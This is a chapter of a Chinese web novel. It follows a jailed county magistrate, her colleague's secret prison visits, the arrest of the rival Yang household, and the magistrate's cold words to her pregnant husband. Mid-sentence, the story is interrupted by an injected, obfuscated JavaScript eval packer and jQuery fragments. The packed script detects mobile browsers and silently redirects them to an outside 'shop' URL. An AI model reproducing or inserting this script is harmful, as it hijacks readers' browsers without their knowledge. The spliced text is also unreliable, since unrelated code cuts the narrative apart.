25. 第 25 章

作品:《被迫成婚后(女尊)

    陆简之被押入大牢候审,不许任何人探视。


    云川县诸般要务又交由王县丞处理。


    杨涣得知此事心急如焚,幸而大牢中有她的眼线,她瞒过李御史偷偷进来探监。


    监狱阴暗潮湿,条件简陋,陆简之坐在干草上,除了衣裳脏一点,别的倒没什么。


    杨涣稍放下心,拍着牢门喊道:“大人!大人!”


    陆简之听到声音走过来:“如何?”


    “什么如何?”杨涣急得不行,“说你贪墨,这怎么可能?!定是被人构陷的,事发得这么突然,你也没交代一声,大人你想个辙我们好救你出去——”


    “没用的。”一夜滴水未进,陆简之喉咙微哑,摇着头说,“是否构陷,杨家清楚,陛下也清楚。”


    “同样,我们递上去的罪证,杨氏也心知肚明,她们早有准备,是我们轻敌,才如此猝不及防。”


    “阿涣,我们要从头来过了。”


    “什么——”杨涣急道,“从头再来就从头再来,现在不是说这个的时候,你先告诉我怎么救你出去。”


    陆简之不答,只道:“王县丞不担事,你现在出去看着,用不了多久,朝廷就会来人查办杨氏了。”


    杨涣想问的没问着,反而听了一耳朵交代,又问:“那些赃物怎么就出现在你家里了?”


    陆简之垂首:“你别管了。”


    “那你……”


    “我没事。”外面隐约传来动静,陆简之推她,“你快走。”


    杨涣刚转过头,又被陆简之一把抓回来,她隔着门,艰涩道:“我家夫郎他尚在孕中,两个孩子也还小,劳烦你替我看顾一二。”


    杨涣当仁不让地应下。


    陆简之轻舒一口气,靠着墙壁缓缓坐下来。


    又过一会儿,牢门打开,李御史带着两个下属进来,一副审人的架势,居高临下地看着她:“陆大人,请吧。”


    天光大亮。


    林卿安抚着两个孩子,新赁了一处宅子暂时安置。


    刚收拾好,几乎是迫不及待要出门探知陆简之的消息。


    杨涣打听到她们的新住址,提着一些小孩子喜欢的玩意,正好在门口拦住他:“姐夫且慢!”


    “李御史下了严令,不许任何人探视,你现在去也是见不到的。”


    因他轻信于人,才致使陆简之突遭横祸,林卿就心急又愧疚:“杨大人,就没有办法能让我见妻主一面吗……”


    “这……”杨涣为难,她纵然管着一县刑狱,但进去也费了不少功夫,林卿还怀着孕,万一出了个什么好歹,她怎么跟陆简之交代。


    但以林卿现在的状况,在家里等着也是干着急,她只好道:“姐夫,你先别急,大人目前还是安全的,容我想想办法。”


    杨涣放下礼物,陪着陆桢陆绥玩了一会儿,在附近安排了亲信观察,一旦有动静就会告知她。


    做完这些,杨涣破天荒的回了趟杨家。


    杨澈对这个妹妹向来鼻子不是鼻子,眼不是眼,云川这么大点地方,偶尔碰见说不了两句就会掐起来,杨澈没有官身,还常拿杨涣的名头唬人来恶心她,外人不知这二人的渊源,只当是一家人谁也不敢惹。


    杨涣坐在正厅等了半天,杨澈才松着领子晃晃悠悠地进来,一看就是昨日又去哪儿鬼混了。


    “呦,真是稀客啊!”


    “让我看看这是谁?这不是我那个被逐出宗族的二妹吗?怎么又回来了?”


    杨涣不是来与她斗嘴的,老神在在坐着不动,任她奚落也不还嘴。


    杨澈说了一会儿也觉得没劲,口干舌燥随意拿了一盏茶,喝了一口,就“呸”的一声吐出来。


    “隔夜茶也好意思摆这!没眼力见的东西!我养你们做什么用的?!”


    管家忙叫几个小侍奴上热茶,杨澈面色不耐,挥退这些人:“周青和死哪儿去了?让他过来!”


    杨涣这才看了她一眼。


    周青和是杨涣没离开杨家时,杨攸做主给杨澈娶的娃娃亲,家境贫寒,性子温柔怯弱,杨澈不喜欢,这么多年对正室夫郎非打即骂,死性不改。


    “二妹啊。”杨攸翘着腿,“我知道你最近和那姓陆的走得近,想着阴我呢,到底是亲姐妹,我奉劝你一句,离她远点,这种蠢货,在云川活不长的。”


    杨涣道:“陆大人好的很,不劳你费心。”


    杨澈“啧”了一声,“你的陆大人收了不干净的钱,都收到大牢里去了,还嘴硬呢。”


    “你怎么知道?”杨涣目如利箭直直看向她,“昨天半夜才出的事,你寻欢作乐今日方回,谁给你传的消息?”


    “莫非是你做的?!”


    “休要胡说!”杨澈猛地拍桌,“她陆简之自己做下这抄家灭族的大罪,与我何干!”


    茶盏落在地上,上前伺候的周青和吓了一跳,端着托盘的手不住的发抖。


    “怎么?你也有意见?”杨澈狠狠瞪着他,她就知道,一和这个便宜妹妹对上准没好事。


    杨涣还在这,为防周青和露馅,杨澈飞起一脚踹在他腹部,周青和跌倒在地,茶水溅了他满身。


    “倒个茶也不会,丢人现眼的东西,还不快滚!”


    周青和捂着肚子,低头收拾地上的狼藉,一瘸一拐地离开前厅。


    杨涣看不下去,站起身道:“杨澈,你这是做什么?”


    “我教训自己的夫郎,关你什么事?!”


    “不可理喻!”


    两人身形相仿,容貌也不相上下,急红了眼似的对峙,伺候的人远远地走开了,谁也不敢靠近。


    过了片刻,杨澈突然笑了:“你还不走,不会是——”


    “主子!主子!不好了!”


    管家连滚带爬跑进来:“有人闯进来了!”


    杨澈横了她一眼:“什么人?”


    “奉,奉旨查案的钦差——”


    偌大的云川,短短一日就来了两拨人。


    一拨查陆简之贪墨案,而另一拨人,则是杨涣她们真正翘首以盼的,来查杨氏侵田案的钦差。


    两拨人马齐聚云川,这位陈钦差比李御史行事更加果决,雷厉风行,不多时,杨澈及杨家掌管田地账册的账房和管事都通通落了狱。


    果如陆简之所说。


    至此,杨涣憋了一整天的气终于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032030|191467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    松懈下来。


    她离开杨家,刚迈出前厅,周青和从后面追上来:“阿涣,阿涣。”


    杨涣对他还算客气:“怎么了姐夫?”


    周清和刚挨了一脚,面色发白:“我刚听你们说云川县令下狱了,是真的还是假的?”


    杨涣点头:“确是真的。”


    “周青和犹豫道:“那这么大的罪,这位县令的家人会怎么样?”


    “你刚才也听到了,是抄家灭族的大罪。”陆简之说没事应当就是没事,具体内情杨涣不便和周青和透露,只是惊讶道,“杨澈这个挨千刀的也进去了,你怎么不担心她,反倒担心别人?”


    周青和垂下头:“她会没事的。”


    听着像是早有准备。


    杨涣点点头:“有这个心态是好事,姐夫且回吧。”


    她走了两步,周青和又跟上来:“阿涣,那个……”


    “怎么了?”


    周青和鼓起勇气,小声说:“陆大人的家人住在哪,你知道吗?”


    李御史的人看得紧,杨涣联系里面的线人说,已经把陆简之审过一轮,但没审出什么有用的来,还要提审第二次。


    官员五品以上免刑,县令不及五品,陆简之受没受刑暂未传出消息,杨涣乘着夜里狱卒换班,安排了第二次探监,这次带上了林卿。


    牢房阴冷,刑器遍布,不见天日,林卿怀着孕本不宜进去,架不住他实在坚持。


    林卿带了些药物,和一些吃食,跟在杨涣身后扮作狱卒,顺利找到最里面那间牢房。


    陆简之面朝里躺在床上。


    杨涣敲门,低声唤道:“大人。”


    陆简之迅速起身,本以为来的只是杨涣一个人,没想到凑近了,另一个稍矮些的人影从她身后露出来。


    林卿睁大眼使劲看她的模样,发现她穿着囚服,腰部隐隐渗出血迹时,眼睛被刺着一般立刻红了。


    “妻主。”


    陆简之面色平静:“你来做什么?”


    杨涣杵在她俩之间神情尴尬:“那啥,你们先聊,我出去守着,记住,只有一刻钟啊。”


    杨涣走了,陆简之站着不动,也不说话,林卿伸手进去想摸摸她,刚碰到她的手背,就被她一掌拍开。


    “啪!”


    十分清脆的一声。


    林卿心里一跳。


    自从这次怀孕以来,陆简之都不曾对他这么冷漠,他都快忘了以前那些日子。


    “妻主。”他继续摸她的手,但陆简之后退了一步,够不着,“你是不是受伤了,让我看看你好不好?”


    “妻主,对不起我错了,我,我不该随便放人进来……”


    “妻主,你疼不疼,跟我说说话好不好……”


    陆简之冷眼看着他挣扎,过了许久,才施舍一般开口。


    “这几天我一直在想一件事。”


    “姻缘本由天定,两情相悦,你却强行缔结,罔顾她人意愿,婚后数年,秉性顽劣,不知悔改。”


    “早知你会给我带来这么大的麻烦,当初宁死也不会娶你,在洛京因林家仕途受阻时,我更该直接休了你,也好过今日牢狱之灾。”